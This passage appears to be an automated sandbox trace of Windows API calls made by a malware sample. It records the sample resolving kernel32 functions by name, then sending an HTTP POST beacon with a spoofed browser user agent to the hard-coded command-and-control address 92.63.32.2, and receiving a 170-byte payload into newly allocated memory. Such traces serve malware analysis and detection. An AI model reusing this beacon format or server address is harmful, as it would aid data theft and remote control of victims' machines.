lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0085.847] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0085.847] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0085.847] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0085.847] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0085.848] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0085.848] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0085.848] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0085.849] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0085.849] wsprintfA (in: param_1=0x30a0000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /messages/check/ltbyk.html?cha=ej4t43guw&jep=00 HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.32.2\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 263 [0085.849] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0085.850] send (s=0x364, buf=0x30a0000*, len=484, flags=0) returned 484 [0085.850] shutdown (s=0x364, how=1) returned 0 [0085.851] recv (in: s=0x364, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0085.891] recv (in: s=0x364, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0085.891] recv (in: s=0x364, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0085.891] recv (in: s=0x364, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0085.891] recv (in: s=0x364, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0085.892] recv (in: s=0x364, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0085.893] recv (in: s=0x364, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0085.894] recv (in: s=0x364, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0085.894] recv (in: s=0x364, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0085.894] recv (in: s=0x364, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0085.894] recv (in: s=0x364, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0085.894] recv (in: s=0x364, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0085.894] recv (in: s=0x364, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0085.894] recv (in: s=0x364, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0085.894] recv (in: s=0x364, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0085.894] recv (in: s=0x364, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0085.895] recv (in: s=0x364, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0085.895] recv (in: s=0x364, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0085.895] recv (in: s=0x364, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0085.895] recv (in: s=0x364, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0085.895] recv (in: s=0x364, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0085.895] recv (in: s=0x364, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0085.895] recv (in: s=0x364, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0085.895] recv (in: s=0x364, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0085.896] recv (in: s=0x364, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0085.897] recv (in: s=0x364, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0085.898] recv (in: s=0x364, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0085.899] recv (in: s=0x364, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0085.900] recv (in: s=0x364, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0085.901] recv (in: s=0x364, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0085.902] recv (in: s=0x364, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0085.903] recv (in: s=0x364, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0085.904] recv (in: s=0x364, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8c8, len=1, flags=0 | out: buf=0x2e7f8c8*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8c9, len=1, flags=0 | out: buf=0x2e7f8c9*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8ca, len=1, flags=0 | out: buf=0x2e7f8ca*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8cb, len=1, flags=0 | out: buf=0x2e7f8cb*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8cc, len=1, flags=0 | out: buf=0x2e7f8cc*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8cd, len=1, flags=0 | out: buf=0x2e7f8cd*) returned 1 [0085.905] recv (in: s=0x364, buf=0x2e7f8ce, len=1, flags=0 | out: buf=0x2e7f8ce*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8cf, len=1, flags=0 | out: buf=0x2e7f8cf*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8d0, len=1, flags=0 | out: buf=0x2e7f8d0*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8d1, len=1, flags=0 | out: buf=0x2e7f8d1*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8d2, len=1, flags=0 | out: buf=0x2e7f8d2*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8d3, len=1, flags=0 | out: buf=0x2e7f8d3*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8d4, len=1, flags=0 | out: buf=0x2e7f8d4*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8d5, len=1, flags=0 | out: buf=0x2e7f8d5*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8d6, len=1, flags=0 | out: buf=0x2e7f8d6*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8d7, len=1, flags=0 | out: buf=0x2e7f8d7*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8d8, len=1, flags=0 | out: buf=0x2e7f8d8*) returned 1 [0085.906] recv (in: s=0x364, buf=0x2e7f8d9, len=1, flags=0 | out: buf=0x2e7f8d9*) returned 1 [0085.907] recv (in: s=0x364, buf=0x2e7f8da, len=1, flags=0 | out: buf=0x2e7f8da*) returned 1 [0085.907] StrToIntA (lpSrc="170") returned 170 [0085.907] VirtualAlloc (lpAddress=0x0, dwSize=0xaa, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0085.907] recv (in: s=0x364, buf=0x30b0000, len=170, flags=0 | out: buf=0x30b0000*) returned 170 [0085.907] VirtualFree (lpAddress=0x3050000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.908] VirtualFree (lpAddress=0x3060000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.908] VirtualFree (lpAddress=0x30a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.908] closesocket (s=0x364) returned 0 [0085.908] WSACleanup () returned 0 [0086.195] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.195] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.196] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.196] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.196] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.197] lstrlenA (lpString="kernel32.dll") returned 12 [0086.197] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0086.197] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0086.197] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0086.197] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0086.197] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0086.197] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0086.197] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0086.197] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0086.197] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0086.197] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0086.197] lstrlenA (lpString="ADDATOMA") returned 8 [0086.197] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0086.197] lstrlenA (lpString="ADDATOMW") returned 8 [0086.197] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0086.197] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0086.197] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0086.197] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0086.197] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0086.197] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0086.197] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0086.197] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0086.198] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0086.198] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0086.198] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0086.198] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0086.198] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0086.198] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0086.198] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0086.198] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0086.198] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0086.198] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0086.198] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0086.198] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0086.198] lstrlenA 